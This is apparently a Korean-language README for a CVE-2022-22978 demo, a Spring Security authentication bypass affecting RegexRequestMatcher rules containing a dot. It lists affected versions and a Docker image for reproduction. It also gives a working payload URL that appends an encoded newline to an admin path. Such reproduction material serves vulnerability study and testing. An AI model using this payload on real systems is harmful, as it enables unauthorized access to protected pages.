CVE-2022-22978

CVE-2022-22978 Spring-Security bypass Demo

Spring Security에서 RegexRequestMatcher를 사용할 때 규칙에 점(.)이 포함된 정규식이 있으면, 공격자는 악성 패킷을 구성하여 인증을 우회할 수 있습니다.

영향 범위

Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

재현

Paylaod

http://localhost:8080/admin/index%0a

Docker

docker pull s0cke3t/cve-2022-22978:latest